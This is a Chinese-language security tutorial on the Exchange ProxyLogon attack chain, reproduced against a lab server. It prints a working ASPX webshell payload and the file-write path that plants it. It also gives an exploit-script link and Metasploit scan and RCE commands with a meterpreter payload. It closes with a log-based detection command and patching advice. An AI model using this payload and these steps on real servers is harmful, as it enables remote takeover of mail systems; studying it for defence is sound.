Exchange ProxyLogon攻击链技术
概念&原理
将Exchange任意文件写入漏洞与Exchange服务端请求伪造漏洞结合进行组合攻击,被称为Exchange ProxyLogon攻击利用链。
原理
漏洞的具体位置是在Exchange后台管理中心,也就是localhost/ecp路径下的服务器的虚拟目录处,如图所示,该页面需要域管理员的权限才可以访问:

然后选中虚拟目录下的OAB(Default WebSite)选项,单击上方的修改按钮
,如图所示:

Tips:此操作会弹出虚拟目录配置窗口,在内部URL和外部的URL中都可以输入payload,且输入的payload必须以http或https开头。内部和外部的URL都限制了输入的最大长度为255,并且会将输入的URL中的%全部编码为%25。
这里选择修改外部的URL,因为修改内部的URL可能会让内部某些服务失去作用,外部的URL中填入如下payload:
http://ffff/#<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>
如图所示,在外部的URL中输入payload,单击“保存”按钮:

保存后,点击选择OAB,点击此图标:

这样会弹出一个重置虚拟目录的输入框

因为Exchange服务器并没有对输入框中内路径和保存的文件名进行检测和限制,所以可以在此输入框中填入任意的的路径和文件名,造成任意文件写入漏洞。这里的输入框中填入如下的路径,然后单击“重置”按钮,等待保存即可。
\\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\shell.aspx


保存完成后,就可以在Exchange服务器的C:\inetpub\wwwroot\aspnet_client路径下找到刚刚写入的shell.aspx木马文件,如图所示:

shell.aspx木马文件内容如图所示:

随后浏览器输入如下的路径便可以访问该Webshell:https://localhost/aspnet_client/shell.aspx

使用BP开启拦截,可以看到成功访问到该Webshell:

除了OAB外,其他服务如PowerShell、ECP、EWS、OWA都可以设置内部URL和外部URL,同时也可以进行重置操作。
漏洞影响版本
- Exchange Server 2013
- Exchange Server 2016
- Exchange Server 2019
漏洞复现
实验环境如下:
- Exchange邮箱服务器:192.168.41.50
- 存在的邮箱用户:hack@hack.com
一键化脚本攻击
脚本下载地址:https://github.com/hausec/ProxyLogon
这里使用一键化攻击脚本proxylogon.py执行如下的命令,复现演示,其中hack@hack.com是存在的用户邮箱名:

如图所示,当前已经成功获得了System权限
MSF检测和攻击
在MSF中已经集成了如下检测和利用ProxyLogon的模块,如图所示:
# 扫描目标exchange服务器是否存在proxylogon漏洞
auxiliary/scanner/http/exchange_proxylogon
# 对proxylogon漏洞进行rce利用
exploit/windows/http/exchange_proxylogon_rce

漏洞检测模块的使用
如下是漏洞检测模块的使用,只需要设置目标Exchange邮箱服务器的地址即可。
use auxiliary/scanner/http/exchange_proxylogon
set rhosts 192.168.41.50
run
如图所示,可以看出成功扫描到目标Exchange邮箱服务器存在ProxyLogon漏洞:

漏洞利用模块的使用
如下是漏洞利用模块的使用,设置相应的payload、目标Exchange邮箱服务器的地址、有效的邮箱用户、监听IP即可:
use exploit/windows/http/exchange_proxylogon_rce
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.41.50
set email hack@hack.com
run

如图所示,对模块中各值进行设置,并成功进行了攻击,成功完成攻击之后,会返回给攻击者一个Session 会话。
漏洞检测和防御
对于防守方和蓝队来说,攻击者的攻击痕迹会留在以下路径的日志中,日志文件如图所示:
%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\ECP\Server\

防守方可据此在Exchange服务器上执行如下的Powershell语句,检测攻击痕迹:
Select-String -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log" -Pattern 'Set-.+VirtualDirectory'
微软已经发布了这些漏洞的补丁程序,可以直接通过Windows自动跟新修复以上漏洞从而达到防御的目的。

浙公网安备 33010602011771号